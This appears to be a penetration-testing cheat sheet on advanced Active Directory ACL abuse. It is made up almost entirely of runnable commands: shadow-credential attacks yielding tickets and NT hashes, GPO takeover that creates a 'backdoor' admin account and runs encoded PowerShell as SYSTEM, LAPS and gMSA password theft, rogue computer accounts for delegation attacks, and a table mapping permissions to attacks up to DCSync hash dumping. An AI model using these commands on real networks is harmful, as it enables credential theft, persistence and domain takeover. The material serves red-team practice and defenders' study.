DACL Attacks II — Advanced ACL Abuse
Advanced AD ACL abuse: shadow credentials (msDS-KeyCredentialLink), GPO takeover, computer object RBCD via ACL, cross-domain ACL paths, gMSA credential hijacking, and LAPS ACL exploitation.
Continuation of DACL Attacks I. This page covers techniques that go beyond simple password resets and group adds: shadow credentials, GPO code execution, LAPS misconfigs, gMSA hijacks, and cross-domain ACL paths.
Shadow Credentials (msDS-KeyCredentialLink)
When you have GenericWrite or AddKeyCredentialLink on a user or computer, you can set a certificate-based credential and then request a TGT or NTLM hash without knowing the password.
Requires: AD CS or Windows Hello for Business in the environment (PKINIT).
# certipy (Linux) — fully automated
certipy shadow auto -u attacker@corp.local -p pass -account victim -dc-ip DC_IP
# Outputs: victim.pfx certificate + victim's NT hash
# certipy — manual steps
certipy shadow add -u attacker@corp.local -p pass -account victim -dc-ip DC_IP
certipy shadow list -u attacker@corp.local -p pass -account victim -dc-ip DC_IP
# Authenticate with the cert to get NTLM hash
certipy auth -pfx victim.pfx -dc-ip DC_IP
# pywhisker (Linux)
python3 pywhisker.py -d corp.local -u attacker -p pass --target victim --action add
# Outputs a Rubeus command to request the TGT
# Whisker (Windows)
.\Whisker.exe add /target:victim /domain:corp.local /dc:DC_IP
# Outputs a Rubeus command — run it to get the TGT
.\Rubeus.exe asktgt /user:victim /certificate:BASE64 /password:CERT_PASS /ptt
Shadow credentials on a computer account
# Target computer$ instead of a user (useful for RBCD chain)
certipy shadow auto -u attacker@corp.local -p pass -account 'TARGET$' -dc-ip DC_IP
# Get the computer's NTLM hash → use for RBCD S4U
GPO Abuse (GenericAll / GenericWrite on GPO object)
A GPO linked to an OU with computers means code execution on every machine in that OU.
Enumerate writable GPOs
# Find GPOs you have write access on
Get-DomainGPO | ForEach-Object {
$acl = Get-DomainObjectAcl -Identity $_.Name -ResolveGUIDs
$acl | Where { $_.IdentityReference -match "attacker|controlled_group" -and
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|Write" } |
Select @{N="GPO";E={$_.ObjectDN}}, ActiveDirectoryRights
}
# Find computers affected by a specific GPO
Get-DomainGPO -Identity 'GPO_GUID' | select displayname
Get-DomainOU | Where { $_.gplink -match 'GPO_GUID' } |
Get-DomainComputer -SearchBase $_.distinguishedname | select dnshostname
Abuse with SharpGPOAbuse (Windows)
# Add attacker account as local admin on all GPO-managed computers
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
# Add a startup script (runs as SYSTEM)
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName pwn.bat \
--ScriptContents "net user backdoor Pass123! /add && net localgroup administrators backdoor /add" \
--GPOName "Vulnerable GPO"
# Add a scheduled task (runs as SYSTEM)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
--Command "cmd.exe" --Arguments "/c whoami > C:\Temp\gpopwn.txt" \
--GPOName "Vulnerable GPO"
Abuse with PyGPOAbuse (Linux)
# Add local admin via GPO
python3 pygpoabuse.py corp.local/attacker:pass \
-gpo-id '{GPO-GUID}' -dc-ip DC_IP \
-command 'net user backdoor Pass123! /add && net localgroup administrators backdoor /add' \
-computer-name TARGET
# Add scheduled task
python3 pygpoabuse.py corp.local/attacker:pass \
-gpo-id '{GPO-GUID}' -dc-ip DC_IP \
-command 'powershell -enc BASE64_PAYLOAD'
LAPS ACL Exploitation
LAPS stores the local admin password in ms-Mcs-AdmPwd. Users/groups with AllExtendedRights or explicit ReadProperty on ms-Mcs-AdmPwd can read it.
Find who can read LAPS passwords
# PowerView — find accounts with LAPS read access
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs |
Where { $_.ObjectAceType -match "ms-Mcs-AdmPwd" -and
$_.ActiveDirectoryRights -match "ReadProperty" } |
Select ObjectDN, IdentityReference
# Find computers with LAPS deployed
Get-DomainComputer | Where { $_.'ms-Mcs-AdmPwdExpirationTime' -ne $null } | select dnshostname
# NetExec — read LAPS password (if account has read rights)
nxc smb TARGET -u laps-reader -p pass --laps
nxc ldap DC_IP -u user -p pass --laps
Grant yourself LAPS read access (if you have WriteDACL)
Set-DomainObjectAcl -TargetIdentity TARGET_COMPUTER -PrincipalIdentity attacker \
-Rights ExtendedRight # AllExtendedRights grants LAPS read
gMSA Credential Hijacking (ReadGMSAPassword)
Group Managed Service Account passwords rotate automatically but can be read by members of specific groups. If you can join that group (or have GenericAll on the group), you can read the gMSA password.
# Find gMSA accounts
Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)' |
select name, 'msDS-GroupMSAMembership'
# Who can read the gMSA password
Get-DomainObject -Identity 'gMSA_Account' -Properties 'msDS-GroupMSAMembership'
# NetExec
nxc ldap DC_IP -u user -p pass --gmsa
# gMSADumper (Python)
python3 gMSADumper.py -u user -p pass -d corp.local
# GMSAPasswordReader (Windows)
.\GMSAPasswordReader.exe --AccountName gMSA_Account
After reading the gMSA password hash, use it with Pass-the-Hash or Kerberos ticket requests.
Computer Account Manipulation (MAQ-based RBCD)
When MachineAccountQuota > 0 (default = 10), any domain user can create computer accounts. Combine with GenericWrite/WriteDACL on a target computer for RBCD.
# Check MAQ
nxc ldap DC_IP -u user -p pass -M maq
# Create a computer account
addcomputer.py -computer-name 'EVILPC$' -computer-pass 'EvilPass123!' \
corp.local/user:pass -dc-ip DC_IP
# Verify creation
nxc ldap DC_IP -u user -p pass --computers
See DACL Attacks I for the full RBCD exploit chain using this account.
Cross-Domain ACL Paths
When AD has bidirectional trusts or SID filtering is not enforced, ACL edges can cross domain boundaries.
# Find cross-domain ACL edges
Get-DomainObjectAcl -Domain child.corp.local -ResolveGUIDs |
Where { $_.IdentityReference -match "parent.corp.local" }
# Check trust relationships
Get-DomainTrust
Get-ForestTrust
BloodHound CE automatically draws cross-domain edges — look for CanRDP, AdminTo, GenericAll edges pointing from one domain to another.
WriteSPN / msDS-SPN-Delegation-Linked-Names
Advanced Kerberoast targeting via msDS-AdditionalDnsHostName or non-standard SPN attributes:
# Set SPN on a computer account you own (for Silver Ticket setup)
Set-DomainObject -Identity 'OWNED_COMPUTER$' -Set @{serviceprincipalname='http/internalapp.corp.local'}
ACE Abuse Quick Reference
| ACE on target | Best attack |
|---|---|
GenericAll on User | ForceChangePassword → login as victim |
GenericAll on Group | AddMember → join privileged group |
GenericAll on Computer | RBCD → impersonate Domain Admin |
GenericAll on Domain | Grant DCSync → dump all hashes |
GenericAll on GPO | SharpGPOAbuse → SYSTEM on all GPO computers |
GenericWrite on User | Set SPN → Kerberoast; or shadow credentials |
GenericWrite on Computer | RBCD → impersonate any user |
WriteDACL on any | Grant yourself GenericAll → see above |
WriteOwner on any | Take ownership → WriteDACL → GenericAll |
ForceChangePassword | Change password → login |
AddMember | Join group directly |
AddKeyCredentialLink | Shadow credentials → NT hash |
AllExtendedRights | ForceChangePassword or DCSync (on domain obj) |
ReadLAPSPassword | Read local admin password |
ReadGMSAPassword | Read gMSA password |